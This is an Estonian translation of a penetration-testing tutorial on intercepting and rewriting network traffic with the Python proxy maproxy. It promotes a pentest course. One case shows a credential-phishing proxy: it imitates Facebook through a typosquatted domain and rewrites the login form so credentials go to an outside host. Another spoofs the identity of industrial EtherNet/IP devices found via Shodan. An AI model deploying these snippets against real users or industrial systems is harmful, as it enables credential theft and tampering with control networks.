Reaalajas võrguandmete töötlemine

Artikli tõlge on koostatud kursuse alguse eelõhtul „PenTest. Praktika sissetungimise testimiseks“.

Kokkuvõte

Kuidas erinevad turbehindamise meetodid, alates regulaarsetest sissetungimistest ja Red Team operatsioonidest kuni IoT/ICS seadmete ja SCADA häkkimiseks, hõlmavad endast töötamist binaarsete võrguprotokollidega, ehk siis sisuliselt põhinevad nad võrgus olevate andmete pealtkuulamisel ja muutmisel kliendi ja sihtmärgi vahel. Võrguliikluse nuhkimine ei ole keeruline ülesanne, kuna meil on sellised tööriistad nagu Wireshark, Tcpdump või Scapy, kuid andmete muutmine osutuvad keerulisemaks, kuna meil peab olema teatud liides, et võrguandmeid lugeda, filtreerida, reaalajas muuta ja tagasi sihtmärgile saata. Lisaks oleks ideaalne, kui selline tööriist suudaks automaatselt töötada mitu paralleelset ühendust ja omaks kohandatavuse võimalust skriptide kaudu.

Kord avastasin tööriista, mida nimetatakse maproxy, dokumentatsioon andis mulle kiiresti mõista, et maproxy on just see, mida mul on vaja. See on üsna lihtne, universaalne ja kergesti kohandatav TCP-proksi. Testisin seda tööriista mitmete keerukate rakenduste, sealhulgas ICS-seadmete peal (mis genereerivad palju pakette), et teada saada, kas see suudab töötada mitmete paralleelsete ühendustega, ning tööriist näitas head jõudlust.

See artikkel tutvustab teile võrguandmete reaalajas töötlemist tööriista abil maproxy.

Ülevaade

Tööriist maproxy mis põhineb Tornadol – populaarse ja arenenud asünkroonse võrgu raamistikul Pythonis.

Kokkuvõttes võib see töötada mitmes režiimis:

• TCP:TCP – krüpteerimata TCP-ühendused;
• TCP:SSL ja SSL:TCP – ühepoolse krüpteerimisega;
• SSL:SSL – kahepoolses krüpteerimises.

See pakutakse teegina. Kiireks käivitamiseks saate kasutada faili näiteid, mis peegeldavad peamisi teegi funktsioone:

• all.py
• certificate.pem
• logging_proxy.py
• privatekey.pem
• ssl2ssl.py
• ssl2tcp.py
• tcp2ssl.py
• tcp2tcp.py

Juhul 1 – lihtne kahepoolne proksi

Põhinedes tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Vaikimisi ProxyServer() võtab vastu kaks argumenti – ühenduse koht ja sihtport. server.listen() võtab vastu ühe argumendi – porti sissetuleva ühenduse kuulamiseks.

Selle skripti käitamine:

# python tcp2tcp.py

Selleks, et testi läbi viia, kavatseme ühendada kohaliku SSH-serveriga meie proksiskripti kaudu, mis kuulab 2222/tcp porti ja ühendub tavalise portiga 22/tcp SSH-serveri:

Tervitusbanner teeb selgeks, et meie näidisproks on edukalt proksinud võrgu liiklust.

Juhtum 2 – andmete modifitseerimine

Teine demo-skript logging_proxy.py sobib ideaalselt võrguandmete töötlemiseks. Faili kommentaarid kirjeldavad klassi meetodeid, mida saate oma eesmärkide saavutamiseks modifitseerida:

Siin on kõige huvitavam:

• on_c2p_done_read – andmete tabamiseks teel kliendi ja serveri vahel;
• on_p2s_done_read – vastupidi.

Proovime muuta SSH-bannerd, mille server klientidele tagastab:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Käivitage skript:

Nagu näete, oli klient petetud, kuna SSH-serveri nimi vahetati „DumnySSH“.

Juhtum 3 – lihtne veefrakteerimise veebileht

Selle tööriista kasutamiseks on lõputult võimalusi. Seekord keskendume millegile praktilisemale Red Team'i operatsioonide valdkonnast. Jätkame m.facebook.com ja kasutame kohandatud domeeni tahtliku trükiveaga, näiteks m.facebok.com. Demonstreerimise huvides eeldame lihtsalt, et domeen on meie registreeritud.

Kavandame luua krüpteerimata võrguühenduse meie proksi ohvritega ja SSL-voo Facebooki serveriga (31.13.81.36). Selle näite toimimiseks peame asendama HTTP-hostingu päise ja sisestama õige hostinime, samuti keelame vastuste pakkimise, et hõlbustada nende sisu juurde pääsemist. Lõppkokkuvõttes asendame HTML-vormi, et sisselogimisandmed saadetaks meile, mitte Facebooki serveritele:

[…]
def on_c2p_done_read(self,data):
 # asenda Host päis
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# keelata pakkimine
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
 # osa vastuse asendamine
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Tulemus:

Nagu näete, oleme originaalset saiti edukalt asendanud.

Juhtum 4 – Ethernet/IP kahjustamine

Ma olen üsna kaua tegelenud tööstusseadmete ja -tarkvaraga (ICS / SCADA), nagu programmeeritavad kontrollerid (PLC), sisenemis- ja väljundmoodulid, mootori juhtimisseadmed, releed, redeli programmeerimise keskkonnad ja palju muud. See juhtumiuuring on mõeldud neile, kellele meeldivad tööstuslikud asjad. Selliste lahenduste häkkimine tähendab aktiivset mängimist võrguprotokollidega. Järgmises näites soovin näidata, kuidas saate ICS / SCADA võrgu liiklust muuta.

Selle jaoks vajate järgmist:

• Võrgu snifferit, näiteks Wireshark;
• Ethernet / IP või lihtsalt SIP-seadet, mida saate leida Shodani teenuse kaudu;
• Meie skript põhineb maproxy.

Alustuseks vaatame, milline on tüüpiline identifitseerimisvastus CIP (Common Industrial Protocol) protokollilt:

Seadmise identifitseerimine toimub Ethernet / IP protokolli kaudu, mis on tööstuslikuks otstarbeks laiendatud Etherneti protokoll, see ümbritseb juhtimisprotokolle nagu CIP. Kavatseme muuta eraldi identifitseerimisnime, mida näete ekraanipildil „NI-IndComm for Ethernet” meie proxy-skripti abil. Me võiksime skripti taaskasutada logging_proxy.py ja sarnaselt muuta klassi meetodit on_p2s_done_read, kuna soovime, et kliendile oleks nähtav teine identifitseerimisnimi.

Kood:

[…]
 def on_p2s_done_read(self,data):
 # osaline vastuse asendamine

 # Kontrollime, kas saime List Identity sõnumi vastuse
 if data[26:28] == b'x0cx00':
 print('Saime vastuse, asendame')
 data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
 super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Sisuliselt küsisime seadme identifitseerimist kaks korda, teine vastus – originaal, esimesena muudeti seda reaalajas.

Ja viimane

Minu arvates maproxy on mugav ja lihtne tööriist, mis on lisaks veel Pythonis kirjutatud, seega usun, et ka teie saaksite sellest kasu. Loomulikult on olemas ka keerulisemaid tööriistu võrguandmete töötlemiseks ja muutmiseks, kuid need nõuavad ka rohkem tähelepanu ja tavaliselt luuakse need konkreetse kasutusstsenaariumi jaoks, näiteks Muraena, Modlishka või evilginx kolmandaga sarnaste juhtumite jaoks või canape viimase juhtumi jaoks. Igatahes, koos maproxy saate kiiresti ellu viia oma ideid võrguandmete pealtkuulamise osas, kuna skripti näited on väga selged.

Windows AD autentimise mehhanismide testimine

Allikas: habr.com